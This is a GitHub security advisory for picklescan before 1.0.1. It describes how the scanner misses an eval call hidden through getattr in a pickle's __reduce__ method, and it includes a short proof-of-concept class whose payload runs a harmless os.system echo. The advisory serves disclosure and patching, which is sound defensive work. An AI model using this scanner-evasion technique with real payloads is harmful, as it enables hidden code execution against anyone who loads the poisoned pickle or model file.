GitHub Advisoryadvisory · PyPI
GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call
HIGH
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- Aliases
- CVE-2026-53874
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-502
- Reviewed
- 2026-02-02
Affected packages
• PyPI picklescan: < 1.0.1 → fixed in 1.0.1
Description
Summary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.
Details
It's possible to hide the `eval` call nested under another callable via `getattr`.
PoC
```python
import builtins
class EvilClass:
@staticmethod
def _obfuscated_eval(payload):
getattr(builtins, "eval")(payload)
def __reduce__(self):
payload = "__import__('os').system('echo \"successful attack\"')"
return self._obfuscated_eval, (payload,)
```
Impact
Who is impacted?
Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.
What is the impact?
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.
Related
Alias · CVE (1)
- CVE-2026-53874 picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding… vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9m3x-qqw2-h32h web
- https://nvd.nist.gov/vuln/detail/CVE-2026-53874 advisory
- https://github.com/mmaitre314/picklescan/pull/59 web
- https://github.com/mmaitre314/picklescan/commit/173c8f2a869ea9b69b543477525ec70611c3c6f4 web
- https://github.com/mmaitre314/picklescan package
- https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1 web
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-obfuscated-eval-call web